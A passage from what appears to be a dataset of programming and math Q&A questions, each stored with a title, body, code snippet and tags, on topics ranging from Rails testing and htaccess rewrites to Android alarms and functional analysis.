$variable bar text\n...\n", "bash script"], "673183": ["Writing spec for controller
actions that return XML -- Ruby on Rails", "In my controller I have some methods
which return json as well as xml data.\nI need to test those actions. For testing
the json part I found this reference and it is working fine. Now I am need of
testing the actions for the XML part.\nAnyone who can help or suggest something are
most welcome I've been scratching my head for an hour now but to no avail.\nPlease
help. Thanks in advance.\n", "", "ruby-on-rails ruby xml testing rspec"],
"5105329": ["Able to use any case in input to generate the same dict values in
output", "I have the following code:\n\nI'd like to make it so the input can be in
any case and still generate the correct output. \nE.g. \n\nall give \n\n", "people
= {'Bob' : {'phone' : '12',\n 'birthday' : 'May',\n 'address'
: 'ABC',\n 'interests' : ['a', 'b', 'c']},\n 'Mary' : {'phone' :
'13',\n 'birthday' : 'April',\n 'address' : 'CBA',\n
'interests' : ['d', 'e', 'f']},\n\n response = ['']\nwrong = \"I don't
know. Try again or type 'quit' to get out: \" \nwhile response[0] != 'quit': \n
response = raw_input(\"Please enter who you're looking for, or type 'quit' to get
out: \").split() \n try:\n print \"%s's %s is %s\" % (response[0],
response[1], people[response[0]][response[1]]) \n except KeyError: \n
print wrong,\n", "python dictionary case"], "689397": ["Get data from web in iOS",
"I want to create an application send an request like
\"http://www.mysiteabc.com/[email protected]&password=123321\"
and read data return from a web. Anybody can show me how to do this. Thanks\n", "",
"iphone osx ios"], "2348833": ["How can I start a TCP server in the background
during a Perl unit test?", "I am trying to write a unit test for a client server
application. To test the client, in my unit test, I want to first start my tcp
server (which itself is another perl file). I tried to start the TCP server by
forking:\n\nSo when I call after , this test starts and I can see the server
starting but after that the unit test just hangs there. So I guess I need to start
this server in background and I tried the at the end to force it to start in
background and then test to continue. But, I still couldn't succeed. What am I
doing wrong? Thanks.\n", "if (! fork()) {\n system (\"$^X server.pl\") == 0 or
die \"couldn't start server\"\n}\n", "perl unit-testing fork"], "5054175": ["Norm
in L2 bounded by norm in H1", "I am studying FEM the very basics. I don't have a
very strong background in math nor in functional analysis. Having said that, here's
the problem I'm analyzing.\n$$ -\\mu u'' + \\sigma u = f ~~~~~ x \\in (0,1) $$\n$
$u(0) = u(1) = 0$$\nFrom that I got the bilinear form of the problem as:\n$$ a(u,
v) = \\int_\\Omega \\mu u'v'dx + \\int_\\Omega \\sigma u vdx $$\n$$ F(v) = \\int_\\
Omega fvdx ~~~~~~~~~~\\forall v \\in V=H_0^1$$\nI was trying to understand the
proof of continuity of the bilinear form and I found that it could be proven as
follows:\n$$|a(u,v)|= \\Big|\\int_\\Omega \\mu u'v'dx + \\int_\\Omega \\sigma u vdx
\\Big|\u2264 \\Big|\\int_\\Omega \\mu u'v'dx\\Big| + \\Big|\\int_\\Omega \\sigma u
vdx\\Big|$$\n$$\u2264 \\mu ||u'||_{L^2} ||v'||_{L^2} + \\sigma||u||_{L^2}||v||
_{L^2}$$\n$$\u2264 \\max(\\mu, \\sigma) (||u'||_{L^2} ||v'||_{L^2} + ||u||_{L^2}||
v||_{L^2})$$\nAs far as I understand the stuff above is using the Cauchy-Schwarz
inequality. Then to complete the verification of the continuity I have
to \"change\" (I don't know if it's the correct word) from $L^2$ to $H^1$ because
there's where I defined my space $V$ to be.\nSo I found two expression that I don't
understand how to interpret\n$$||u||_{L^2} \u2264 ||u||_{H^1},~~~~~~~~||u'||
_{L^2} \u2264 ||u||_{H^1}$$\ndoes it mean that a norm in $L^2$ is bounded by a norm
in $H^1$ ?? If so, how can I visualize that (geometrically) ?\n", "", "functional-
analysis differential-equations"], "4038627": ["abelian and finite group", "G= $Q^+
$ (Rational numbers diffrent from zero)\n$a*b = ab/2$\nI already proved this is a
group now I need to prove or disprove that it is abelian and or finite group.\nFor
abelian - from what I understad must be that for a,b -> $ab=ba$\n=> $a*b=b*a$\nand
this is easy to show. ( am I right???)\nFor finite - From what I saw I need to find
the order but I don't really understood how to do so...\n", "", "homework finite-
groups abelian-groups"], "1294945": ["How Come a CDN or External JavaScript File
works in a Web Site?", "First off, I'm embarassed that I don't know this. I know
these things work, but just not sure why. There is something I still don't get
about CDNs and stuff like Google Analytics or Adsense.\nIf these scripts are coming
from a domain other than your site's domain how does this all tie in with same
origin policy (SOP) and cross-site scripting (XSS)? From what I understand about
XSS and SOP, these scripts just shouldn't be able to run or interact with the DOM
in your site. How come they are given special privileges? And how are these special
privileges differentiated from other external scripts that cause errors in browsers
due to XSS and SOP?\nIn a nutshell, I want to know why scripts from another domain
are allowed to run, interact with and manipulate my site?\n", "", "javascript xss
same-origin-policy"], "1725462": ["htaccess for clean urls not being read by
apache?", "I'm getting kinda crazy over here because I already wasted two hours
getting my clean urls enabled for the laravel framework.\nI'm on a Mac and have a
XAMPP setup. The Loadmodule mod_rewrite is commented out and php_info() says
mod_rewrite module is loaded.\nMy .htaccess file in the public folder of the
laravel framework contains the code for cleans urls (as stated on their website)
but still, when I surf to domain.com/account it gives me an 404. \nThe laravel
framework folder runs as an virtual host.\nWhat could it be, that is going wrong?!\
n\n", "<IfModule mod_rewrite.c>\n RewriteEngine on\n\n RewriteCond %
{REQUEST_FILENAME} !-f\n RewriteCond %{REQUEST_FILENAME} !-d\n\n
RewriteRule ^(.*)$ index.php/$1 [L]\n</IfModule>\n", "apache .htaccess mod-rewrite
httpd laravel"], "689396": ["how to control mouse movement in visual c++?", "I am
doing a project where a regular monitor could be converted into a touchscreen.\nFor
this purpose i have designed a grid of ir sensors and installed them into a frame
that
could be put around the screen. That concludes the hardware.\nWhat i want to do is
control the mouse movement using the grid, so that when the user moves his/her
finger inside the frame it moves the mouse on the screen. Thus giving the effect of
a touchscreen. I hope I am clear in explaining my problem. I am using Windows,MS
Visual C++.\nIf there is any suggestion other than visual C++, please let me know.\
nThank you.\n", "", "visual-c++ control mouseevent"], "427311": ["how to configure
a bufferred and timeout based appender in log4net?", "I want to configure a
Forwarding-Appender in log4net, that does the following:\n\nIt buffers up to N
messages. When N is reached, its trigger is executed and it forwards its buffer.
Not lossy.\nIt forwards its buffered messages if a defined timeout is reached. So
the trigger is executed also when a timeout is reached.\nIt forwards its buffered
messages when the hosting program terminates/closed.\n\nSo what I need is a
composite trigger: based on count, timeout, and program termination.\nHow can I
configure such appender, if at all?\n", "", "configuration log4net appender"],
"2780018": ["How to embed some application window in my application using any
Python GUI framework", "I want some application to look like widget inside my
Python application.\nThat's all. I dont need any interaction between them. I'm
interested in solutions in any GUI toolkit for both windows and x windows.\nIt
would be nice to have a solution with Tkinter but it's not crucial.\n", "", "python
gui"], "2200035": ["how to set up a DNS server in SUSE11 using command line", "The
results of a Google search on this topic are all \"X solution\". But the X
interface are not allowed in the Suse Server I'm using, so I'm seeking for
a \"command line\" solution of my problem. \n", "", "linux networking dns bind"],
"3518940": ["WPF Multitouch - How to get all touchpoints?", "We are evaluating
touchscreen keyboards and for one we need to track 10 fingers at the same time. The
problem is that the touchscreen driver is very wonky (and there is no fixed
version). It sends out 2500+ events for the FrameReported event each second for so
many fingers. There is just no way to handle all those, even if we discard 90% at
the beginning. It's simply impossible to keep up and do anything meaningful with
the data.\nInstead of System.Windows.Input.Touch.FrameReported, I also tried to use
the (Preview) TouchMove events of the window; Same problem here.\nSo now I wanted,
instead of using events, to poll in a separate Thread, but I cannot find
information on how to get all the current touchpoints.\nThe only thing I found is a
WinForms hack, but that isn't an option, since then I will be unable to render any
WPF controls in my window.\nAny solutions?\nEdit 1:\nThis is the code, that handles
all the move events:\nprivate void UserControlTouchMove(object sender,
TouchEventArgs e)\n {\n\n", " //Update Position of the
corresponding point\n var touch = e.GetTouchPoint(this);\n var id =
touch.TouchDevice.Id;\n e.Handled = true;\n var position =
touch.Position;\n //update finger on display, quick and dirty\n if
(m_ShowFingers)\n {\n foreach (var finger in m_Fingers)\n
{\n if (id == (int)finger.DataContext)\n {\n
finger.RenderTransform = new TranslateTransform(position.X - HalfFingerSize,
position.Y - HalfFingerSize);\n break;\n }\n
}\n }\n }\n", "c# wpf events multi-touch touchscreen"], "2362615":
["Fixed transparent header in a UITableView", "I am trying to add a Fixed
transparent header in a similar to the one on the attached image (LHR-SYD / 372
Results). Is this a \"built in\" component in xcode/ios or how is it done ?\n\n",
"UITableView", "iphone ios objective-c xcode uitableview"], "269985": ["Split
String By Character", "I have a case in which I'm doing the following:\n\nWhere is
a Character.\nThis works fine when I need to split based on tabs by providing as
the delimiter. However, when I want to split on a pipe, I pass in a delimiter of
and this does not work as expected.\nI've read several posts about how is a
special character which means null or empty therefore it splits on every character
it encounters, though, I don't want this behavior.\nI could do a simple check in my
code for this pipe case and get around the issue:\n\nBut I didn't know if there was
an easier way to get around this. Also, are there any other special characters that
act like the does that I need to take into account?\n", "final String[] columns =
row.split(delimiter.toString());\n", "java regex string split character"],
"4080938": ["When does next Cron Job run (time from now)?", "I would need to know
how much time is left between now and the next time a specifc Cron Job is done.\
nFor another answer I built a basic cron inspector plugin which can be found here.\
nReason I'm asking is that I'm already that wasted from working that I can't think
straight at the moment. :/\nThanks in advance.\n", "", "cron wp-cron timestamp
timezones"], "221544": ["String.format() value in statusstrip label displayed
differently on Win 7 vs Win XP", "I am using the following code to display the
elapsed time of a task in the status bar in my application. \n\nthis.TimingLabel is
a label in the statusStrip control in the footer of the winform.\nBut I get
completely different results on Windows XP vs Windows 7\nWindows XP:\n\nWindows 7\
n\nWhy is the units appearing before the time in Windows 7? \nI have checked
Regional Settings both machines are set to US with same Date Time formatting. Make
quite quite sure it is the same code running on both machines.\nThis is very odd
behavior in some very simple code. \nAs a follow up: I made the following change
to my code but still have the same problem:\n\n", "public void
DisplayDuration(TimeSpan duration)\n{\n string formattedDuration;\n\n if
(duration.TotalMilliseconds < 2000)\n formattedDuration =
string.Format(\"{0} ms\", duration.TotalMilliseconds);\n else if
(duration.TotalSeconds < 60)\n formattedDuration = string.Format(\"{0}
sec\", duration.TotalSeconds);\n else\n formattedDuration =
string.Format(\"{0} min\", duration.TotalMinutes);\n\n this.TimingLabel.Text =
formattedDuration;\n}\n", "c# windows-7 windows-xp string-formatting"], "6009655":
["linux virtualbox guest (windows host) to physical partition", "I'm currently
running a linux virtual machine on a windows XP host with virtualbox(3.1.2) and I
would like to copy it and run it on a partition of my machine. I want to use my vm
as primary os but keep my windows partition (in case). \n\nHow to copy the vm to a
phisical disk?\nWill there be any issue with grub?\n\nAny lead?\n", "", "linux
windows virtualbox partition v2p"], "2195637": ["Can't delete content type", "How
do you remove a content type? I created a content type at the site collection
level, used it for a few lists, deleted the lists, cleared them from their site's
Recycle Bin, and it still says when I try to delete it. \n", "The content type is
in use.", "content-type"], "3570840": ["SSL form POST from one site to another", "I
am attempting to do a POST securely from one website to another. Instead of trying
to do our own encryption or hashing I would like to use SSL. Is it possible to do a
form post from one site to another using SSL that would be completely secure for
transferring the user information?\n", "", "encryption ssl webforms http-post"],
"5073821": ["Special Char change in email body content", "i am sending a report
link to user through email all code works fine and email link like this\n\nbut in
email it is changed to \n\ni want to send original link text in email but i am not
getting how to do this thing\nplease help me out.\n",
"www.xyz.com/FeedbackReport.aspx?RequestId=ede0e23e-699b-4905-bfbb-698081ba6b18&\
u00c6\u00c6\u00c6\u00c6=2979\n", "email character-encoding"], "2819731": ["How do I
generate random numbers without rand() function?", "I want to generate (pseudo)
random numbers between 0 and some integer. I don't mind if they aren't too random.
I have access to the current time of the day but not the rand function. Can anyone
think of a sufficiently robust way to generate these? Perhaps, discarding some bits
from time of day and taking modulo my integer or something?\nI am using c.\n", "",
"c random"], "179419": ["How can I add additional PHP versions to MAMP", "The
current version of MAMP that I have only has php 5.2.17 and 5.4.4. I need 5.3.X. Is
there a way to add additional versions that can be selected in the MAMP interfaces
php preferences? This is for the free version of MAMP, not MAMP PRO.\nThanks\n",
"", "php osx mamp"], "4527666": ["Center & Zoom a KML File Created in Google Earth,
on a web page", "I created a KML file that defines several zones using polygons, in
Google Earth. My plan was to just use this file on my wordpress site, along
with \"comprehensive google maps plugin\" for wordpress. However, it turns out that
while it works, per the developer, I am unable to set a center or zoom. I want to
zoom to 10, and center at specific coordinates. I have googled and researched and I
keep coming up with a few scripts, but its a bit confusing to me what i would even
do with them. This is my first foray into KML. Is there something i can add into
the KML file that was generated by google earth, that would allow me to accomplish
this? any help would be tremendously appreciated.\n", "", "wordpress google-maps
coordinates kml"], "4208006": ["Why wordpress showe \"admin is editing...\" whoever
edits?", "Wordpress warns users when two of them are editing the same article, but
the warning always says \"admin is editing this page\". Admin is currently logged
off and
the message is caused by another author.\nLanguage files have the %s in place.\n",
"", "users warnings support"], "3181261": ["Modular arithmetic (Solve -10 mod 7 by
hand)", "For: -10 mod 7\nI know the answer is 4, but how do you actually get to the
answer by hand?\n", "", "discrete-mathematics modular-arithmetic"], "5055928":
["Comet tables with Lift 2.4 and HTML5", "I'm trying to dynamically update a HTML
table via Comet. I've got something like the following:\n\nAnd:\n\nThis prints out
the entire table over and over again, one for each event rendered by EventsComet.
The println statement outputs the entire table node.\nSo I tried variations:\n\nAs
expected, the HTML5 parser strips out the [lift:comet] tags and no binding occurs.\
nSo I tried switching the rows to:\n\n...as is shown in a snippet example here, but
with this syntax my CometClient is not being instantiated at all.\nCan anyone
advise on the proper syntax?\nEventsComet itself works fine; it can keep lists of
events up to date without problem. I only run into issue using tables (and
presumably other highly-nested structures I've not tried yet?).\nThank you. This is
all rather frustrating for such a simple problem, and makes me want to just start
implementing my templates in a strongly-typed templating language instead of using
bindings.\n", "class EventsComet extends CometClient[Event] {\n def server =
Event\n\n def render = {\n println(\"Binding on: \" + defaultHtml)\n
data.flatMap( event =>\n bind(\"event\", \"name\" ->
event.name.toString, \"date\" -> event.startDate.toString)\n )\n }\n}\n",
"scala table comet lift"], "1831060": ["Why does the Hilbert curve fill the whole
square?", "I have never seen a formal definition of the Hilbert curve, much less a
careful analysis of why it fills the whole square. The Wikipedia and Mathworld
articles are typically handwavy.\n\nI suppose the idea is something like this: one
defines a sequence of functions $f_i(t) : [0,1]\\to {\\Bbb R}^2$, and then
considers the pointwise limit $f(t) = \\lim_{i\\to\\infty} f_i(t)$.\nBut looking at
the diagram, it is not clear that the sequence converges. I can imagine that we
might think of following a single point in the range of $f_i$ as $i$ increases, and
that point might move around, but only by $2^{-i}$ at each stage as we pass from
$f_i$ to $f_{i+1}$, and so eventually approaches a limiting position. But I don't
know how we'd get from there to showing that $f_i(t)$ converges for a particular
value of the argument, especially for an argument other than a dyadic rational.\
nAnd even if it does converge, every point in the range of each $f_i$ has at least
one rational coordinate, so it is not at all clear why a point like $({1\\over\\
sqrt2}, {1\\over\\sqrt2})$ should be in the range of $f$. \nIf there is an easy
explanation, I would be glad to hear it, but I would also be glad to get a
reference in English.\n", "", "real-analysis reference-request examples-
counterexamples fractals"], "4442496": ["Testing middleware is specified for a
route", "I'm using express-resource. My module exports a create function that uses
some middleware.\nLet's say it looks like this:\n\ncheckSpecialPermissions is
a \"middleware factory\" function.\nNow, I'm trying to assert in my unit test that
is specified for the route (so that if someone accidentally renames/deletes it, my
test will report that). However, I have no clue how to test that. \nAny ideas,
please?\n", "{checkSpecialPermissions} = require 'utils/auth'\n...\n\
nexports.create = {\n middleware: [checkSpecialPermissions('write'),
anotherMwareFun]\n fn: (req, res, next) ->\n ...\n res.send 'ok'\n}\n",
"javascript unit-testing express"], "1197129": ["How to compile ocaml to native
code", "i'm really interested learning ocaml, it fast (they said it could be
compiled to native code) and it's functional. So i tried to code something easy
like enabling mysql event scheduler.\n\nIt work fine on ocaml interpreter, but when
i was trying to compile it to native (i'm using ubuntu karmic), neither of these
command worked\n\ni also tried\n\nall of them resulting same message\n\nThen i
tried to remove the \"# load\", so the code goes like this\n\nThe ocamlopt
resulting message\n\nI hope someone could tell me, where did i'm doing wrong.\n",
"#load \"unix.cma\";;\n#directory \"+mysql\";;\n#load \"mysql.cma\";;\nlet db =
Mysql.quick_connect\n ~user:\"username\"\n ~password:\"userpassword\"\n
~database:\"databasename\"();;\nlet sql =\n \"SET GLOBAL EVENT_SCHEDULER=1;\"\n
in\n (Mysql.exec db sql);;\n", "compilation ocaml native"], "2790084": ["MVC3
Form Validation causing an error in Qunit tests", "I have been working with a MVC3
application that is using jquery form validation and in my script that interacts
with the remote validation process to see if a record name is available I am using
the \n\ncheck to change form variables etc. When I reference that script from my
QUnit tests I get the following error.\nUncaught TypeError: Cannot read property
'form' of undefined\nI can fix it by putting the following conditional above
the .rules() check but is there a better way to do this? \n\nI suppose I could fire
up the page in IIS and do JS unit tests that way but that seems less isolated. I
would not want to have this .rules() check in some other JS file because combining
the JS files is a way to improve speed. Anyone ran across this and found a better
way to do it? Thanks in advance.\n", " $('#Name').rules().remote.complete =
function (xhr) {\n", "javascript asp.net-mvc-3 form-validation qunit"], "4851423":
["Associate clicks with image serving with Javascript disabled", "So I have an img
that, when clicked, takes the user to another page (via surrounding anchor tag).
The img gets its src from a PHP script that returns the image data and logs it.
Before redirecting the user to the desired page, they are directed to a PHP script
that logs the redirect then serves the redirection.\nI'd like to be able to
associate the served image with the served click when Javascript is disabled.
Cookies don't seem to work because say for instance the user has multiple tabs or
windows opened with the same served image, and clicks one of them. Which one got
clicked? \nPHP doesn't work because we have no control over the page that hosts the
anchor and the img tags.\nI'd like to have this information for analytics
purposes.\nIs it possible and if so how? Thanks!\n", "", "php analytics"],
"1738933": ["What monitoring solution for servers, databases and web applications ?
Nagios or Hyperic?", "For the purpose of a startup, I have a loan for one physical
dedicated server with several virtual machines inside it \nFor now there is mainly
2 VM on this server:\nVM \"tools\", using ubuntu server 10.04 LTS\n\nA source code
repository using\nmercurial and hgserve\nA bunch of\nJAVA app for Atlasian for bug\
ntracking, wiki...\nPostgreSQL as the Database for the\ntools\nApache HTTPD as
HTTPS front end.\n\nVM \"asterisk\", using ubuntu server 10.04 LTS\n\nwith an
asterisk server, functionnal,\nbut more for testing as of now than\nanything.\n\
nBut in the future we will have a \"production\" VM with ou JAVA application :\n\
nApache HTTPD frontend \nPostgreSQL database\nTomcat webapp (maybe cluterised)\n\
nWhat I'am interrested into is a software that can monitor availability of
services, KVM VM, applications and database so I can react in case of problem.\nI
have also another use case where I'd like to monitor the performance of the
application (request, CPU, memory...) and gather usage statistics.\nWe have
basically no money, and want a free tool, at least at first. \nWhat would be easy
and simple tool for the job ? I have heard of Nagios and Hyperic but I don't know
them. So I don't know if they are suited for our needs.\nEDIT :\nThe need is not
only for server monitoring but also as a way to investigate actual application
perfornance, responsiveness and if possible isolate bottlenecks.\nFrom the links
(not the same question as it seem more generic but quite informative) and the
actual responses, Nagios + Munin should be a good fit. Problem is Nagios seems a
little complex (I don't know for Munin).\nWill the Nagios/Munin combo will be able
to gather detailled statistics and historical data for a java application
(request/seconds, request latency, both with statistics by URL, hour, day,
week... ?)\nAre there other (better ?) alternatives ?\n", "", "apache2 monitoring
tomcat postgresql kvm-virtualization"], "1469911": ["DirectAdmin Centos4 server has
virus", "I have a problem with a webserver that runs Centos4 with DirectAdmin.\
nSince a few weeks some websites hosted on it are not redirecting on search engines
properly, they are redirected to some malware site, resulting in a ban from
google.\nNow I have used 3 virusscanners:\nClamAV: Didn't find anything\
nBitdefender: Found a 2-3 files with JS infection, deleted them\nAVG: Finds lots of
files, but doesn't have the option to clean!\nThe virus that it finds
is:\nJS/Redir\nJS/Dropper\nStill the strange thing is: website a (www.aa.com) does
not have any infected files (have gone through all the files manually, is a custom
PHP app, nothing special) but does still have the same virus. Website b
(www.bb.com) does have the infected files as only one.\nI deleted all these files
and suspended the account, but no luck, still the same error.\nI do get the log
entries on the website from the searchengines so the DNS entries are not changed.\
nBut now I have gone through the httpd files but cannot find anything.\nWhere can I
start looking for this?\n", "", "linux centos virus direct-admin"], "5180026":
["DirectoryServicesCOMException on IIS7 with
System.DirectoryServices.AccountManagement but not in dev", "The following code
works fine on my dev PC but crashes when deployed to the server:\n\nThe crash is as
follows:\n\nScenario:\n\nIIS7
on domain-joined Windows Server 2008 x64\nASP.NET 4 intranet application\nAll
authentication modes off in IIS apart from Integrated Windows Authentication\nApp
pool configured to run as a domain user\n\nWeb.config as follows:\n\n returns my AD
username in production correctly, so I think that means impersonation is working
correctly.\n", "using System.DirectoryServices.AccountManagement;\n\nusing (var ctx
= new PrincipalContext(ContextType.Domain, domainName))\nusing (GroupPrincipal grp
= GroupPrincipal.FindByIdentity(ctx, IdentityType.Name, groupName))\n{\n if (grp
== null) return new string[0];\n\n return grp.GetMembers(true).Select(m =>
m.SamAccountName).ToArray();\n}\n", "c# iis7 active-directory windows-server-2008
directoryservices"], "5600098": ["How to get the current view size for an image in
Delphi 2009", "I wish to get the current size for an image being displayed with
TImage, this object has the Proportional property set to True and is aligned to
Client with main form. So, when resizing the form I wanna get the current size for
that image, not canvas size neither real size for that image. Getting the current
size I can show what's the percentage for current image size respect to real image
size. \nThanks in advance\n", "", "delphi size percentage timage"], "6009653":
["How to rectify this exception in c#", "I have written the linq query like:\n\nI
have connected to sqlserver northwind.mdf file. I have values in the table also
still i am getting null reference exception. How can i rectify this. How to get
values in to the query.\nRegards\n", " NorthwindContext context = SqlCE;\n var
query = context.Destinations.Where(i => i.Id >= 1).Select(i => new {\n
id = i.Id,\n name = i.Destination\n }).ToArray();\n\n
public NorthwindDataContext SqlCE\n {\n get\n {\n
AppDomain.CurrentDomain.SetData(\"SQLServerCompactEditionUnderWebHosting\", true);\
n string connectionString = @\"Data Source=|DataDirectory|\\
Database1.mdf\";\n return new NorthwindDataContext(connectionString);\n
}\n }\n", "c# linq sql-server-2008 linq-to-sql"], "2790087": ["WPF form in
Visual Studio Add-in Project", "I am building a visual Studio 2008 add-in. That
Add-in needs a UI for user inputs. I was planning to use WPF for that UI. But i am
not able to find a way to make that working.\nIs there any way to have a WPF form
in Visual-studio add-in project?\nregards,\nPavan\n", "", "visual-studio-2008 add-
in extensibility"], "1535297": ["Jetty http session is always null (Embedded
Container, ServletHolder)", "I am trying to implement a simple servlet which uses a
HTTP session in\nan embedded jetty (7.3.0 v20110203) container. To start jetty I
use the following code:\n\nThe servlet acquires a session with \n\nand stores some
data in it. Upon the next request it gets the session\nwith the following code:\n\
nand there the session is always null. \nI did not find any information on\nthe
internet about this particular problem. I have also experimented\nwith setting a
SessionManager or SessionIdManager, but that did not seem\nto change anything. I
suspect I am missing something about SessionManager or SessionIdManager or
SessionHandler here, but this is just a wild guess.\n", "Server server = new
Server(12043);\nServletContextHandler handler = new\n
ServletContextHandler(ServletContextHandler.SESSIONS);\
nhandler.setContextPath(\"/\");\nserver.setHandler(handler);\nServletHolder holder
= new ServletHolder(new BaseServlet());\nhandler.addServlet(holder, \"/*\");\
nserver.start();\nserver.join();\n", "servlets jetty embedded-jetty httpsession"],
"5071266": ["MongoDB timeout when query includes !==", "I am running a mapreduce to
generate a report on newsletter activity.\nTo run the report for a specific
newsletter I use:\n\nI now want to be able to get an aggregate report of email
activity on all of the newsletters (using the same mapreduce, but just changing the
query). For this I use:\n\nI have an index set which includes the NewsletterId and
DateAdded, which I think is being used in the first query, but not the second one,
which is causing it to timeout.\nAny sort of optimization I can make to prevent the
query from timing out?\n", "var query = Query.And(\n
Query.EQ(\"NewsletterId\", BsonInt32.Create(newsletterId)),\n
Query.GTE(\"DateAdded\",
BsonDateTime.Create(startDate)).LTE(BsonDateTime.Create(endDate))\
n );\n", "c# mongodb mapreduce"], "703913": ["Problem when setting
up Ubuntu Enterprise Cloud", "I have a problem when setting up Ubuntu Enterprise
Cloud. When I use this command:-\n\nThe system says:-\n\nCan anyone help me on
this? How can I solve this problem?\nThank you.\nPatrick\n", "euca-authorize
default -P tcp -p 22 -s 0.0.0.0/0\n", "ubuntu amazon-ec2"], "3334026": ["Introspect
parameter of type: id to decide whether it is a class or a protocol", "I have the
following method:\n\nIt will be called like this:\n\nOr\n\nWithin the method body I
need to decide if |classOrProtocol| is:\nAny Class(Class) OR Any Protocol(Protocol)
OR Anything else\n\nResults in a (build)error: \n\nReceiver 'Protocol' is a
forward class and corresponding @interface may not exist\n\nSo how can I tell a
Protocol from a Class from anything else?\n", "-(void)SomeMethod:
(id)classOrProtocol;\n", "objective-c protocols introspection"], "841214":
["acts_as_audited. How can I add a \"comment\" column", "I am using the
acts_as_audited gem with my application. (Excellent gem to keep track of changes of
model objects)\nI have been asked to support associating a text comment with each
Audit record (similar functionality to svn commit). And I am stumped on how to
accomplish this.\nFor example. Lets say I have an address form, and the user
updates City and State, upon hitting save I ask him to provide a Comment. I would
like that comment information associated with the audit record that is created.\
nMake sense?\nThanks for your help,\nJonathan\n", "", "ruby-on-rails gem"],
"2772738": ["How to deliver an Excel spreadsheet over Web Service", "Is it possible
to deliver an Excel Spreadsheet via an Web Service. I believe not as ASP.NET web
services seem only to deal in Serializable elements which the excel binary format
isn't (I think). If the Excel is saved in XML format will this work?\nI have a
number of reports that will be emailed, but the request has been put into allow
these reports to be pulled via Web Services. \nIs this achievable? \n", "",
"asp.net vb.net web-services"], "2144172": ["Add rotation to repeated background-
image texture CSS3", "Is it possible to add rotation to a repeated background-image
texture? - I don't mean to rotate the element itself but the element's background-
image?\nI was wondering if this is possible with CSS3?\nThis would mainly be useful
for animation as you could then animate the rotation of the background-image
through jQuery.\n", "", "css css3 texture"], "1787833": ["Can an ASPX page be given
an alias so that it can be accessed from two different URLs?", "I need to access
the same page via two different names for the page. \nExample: \n needs to be
accessable using the aliased name \nCustomersDetail.aspx is the real file.\nBoth of
the following urls should map to the same page:\n\nIs this possible using the
Web.Config? If this is possible can the page know which url it was accessed from by
looking that the request uri? \n", "CustomersDetail.aspx", "asp.net web-config"],
"5257961": ["problem api facebook v3", "\nPossible Duplicate:\nfacebook Uncaught
OAuthException: An active access token must be used to query information about the
current user. \n\nI have a problem with v3 of php api facebook.\nThis is the
error:\nOAuthException: An active access token must be used to query information
about the current user.\nThis is the code:\n\n", "$facebook = new Facebook(array(\n
'appId' => 'xxxxx',\n 'secret' => 'xxxxx',\n ));\n\n
$user = $facebook->getUser();\n $accessToken = $facebook-
>getAccessToken();\n\n if ($user) {\n try {\n
$events = $facebook->api('/me');\n } catch (FacebookApiException $e)
{\n echo ($e);\n }\n }\n", "php
facebook facebook-php-sdk"], "5608692": ["Send Intent Each Day Using
AlarmManager?", "I want the following:\n\nThe AlarmManager sends a daily intent to
my AppWidgetProvider at midnight EXACTLY.\nThe Alarm must wake up the device.\n\
nHere is how I did it:\nIn my AppWidgetProvider subclass:\n\nAlthough I think I did
it right, this code doesn't work!\nTo test it, I changed 1000*60*60*24 with 10000
(10 sec) and updated a textView in the widget with random number. The random number
never changed.\nAny help will be appreciated !\n", "@Override\npublic void
onEnabled(Context context) {\n super.onEnabled(context);\n
Log.d(LOG_TAG, \"Widget Provider enabled. Starting timer\");\n\n //Setting the
Calender object to midnight time.\n Calendar calendar = Calendar.getInstance();\
n calendar.setTimeInMillis(System.currentTimeMillis());\n
calendar.add(Calendar.SECOND, 0);\n calendar.add(Calendar.MINUTE, 0);\n
calendar.add(Calendar.HOUR, 0);\n\n //The fired Intent\n Intent intent = new
Intent(CLOCK_WIDGET_UPDATE); //custom intent name\n PendingIntent pendingIntent
= PendingIntent.getBroadcast(context, 0, intent,
PendingIntent.FLAG_UPDATE_CURRENT);\n\n AlarmManager alarmManager =
(AlarmManager)context.getSystemService(Context.ALARM_SERVICE); \n
alarmManager.setRepeating(AlarmManager.RTC_WAKEUP,\n
calendar.getTimeInMillis(), 1000*60*60*24, pendingIntent);\n}\n", "android android-
widget alarmmanager android-alarms"], "264649": ["When or why should one use
getters/setters
for class properties instead of simply making them public properties?", "I program
primarily in ColdFusion but this is a general OOP question. \nIs there any benefit
to using: \n\nAs opposed to simply \n\n", "getProp() {\n return prop;\n}\n\
nsetProp(val) {\n prop = val;\n}\n", "object-oriented"], "642524": ["C quick
sort of a struct causes segmentation fault", "The program is reading line by line
from a file and storing info in a struct. Everything works except for sorting the
array of structs. For example, at the end when I'm printing the struct(code
included at the end), it works completely fine.\nThe problem (segmentation fault)
occurs when I call the qsort.\nAlso, printing students[0].lastName works fine, but
printing students[1].lastName returns a (null), that too is confusing.\nI've looked
everywhere and my code seems very similar to what has been posted as correct
solutions to sorting structs, so I'm very confused.\nDefining struct in header of
main:\n\nAllocating the struct in main method (STUDENT_DATA=50):\n\nThe problem:
Calling quicksort (the reason for the 8 is because there are 8 entries THAT WORK
and are LOADED, even less than 8 doesn't work).:\n\nComparator for quicksort:\n\
nThe reason I know data is loaded fine is because printing works completely fine:\
n\nWhat it prints (i only included 2 out of the 8 that were printed, no NULLS
printed):\n\nThank you!\n", "// DEFINE STRUCT\ntypedef struct _StudentInformation
{\n int term;\n int studentId;\n char *lastName;\n char *firstName;\n
char *subject;\n int catalogNumber;\n char *section;\n} StudentInformation;\
n", "c memory-management struct qsort"], "1254565": ["How can I export my old
emails from a private server to Gmail servers?", "Let's suposse I have a lot of
emails in a private email server. Organized in folders, subfolders, tags, etc.\nI
want to migrate all this emails (with their current organization) to a new email
domain provided by Google and their services. Is there a clean and easy way to
achieve this? Or it all depends on the email client I'm currently using?\nI could
use some tutorials for this but I don't know exactly what to look for...\n", "",
"email gmail export"], "3112650": ["XML schema/format for representing a generic
file format?", "Is there an existing XML schema that can be used to describe a
generic file format? Something that would have tags that say things like \"The
file has a header that is x bytes long\", \"The first element of the header is a 4
byte unsigned integer that represents the length of the file\", etc. ? I need a
format of this sort and wanted to make sure there was not an existing standard one
before I come up with one myself, since it seems like the kind of thing that might
already be out there. Unfortunately, my Google searches have led me nowhere, but I
don't know if that's because there's nothing out there or I just don't know the
right search terms.\n", "", "xml metadata file-format"], "2255177": ["Sharepoint
NewForm adding attachments programatically", "I have a list with a custom form
which contains a custom file upload control.\nAs soon as the user selects a file
and clicks upload, i want this file to go directly to the attachments list within
that listitem.\nHowever, when adding the file to
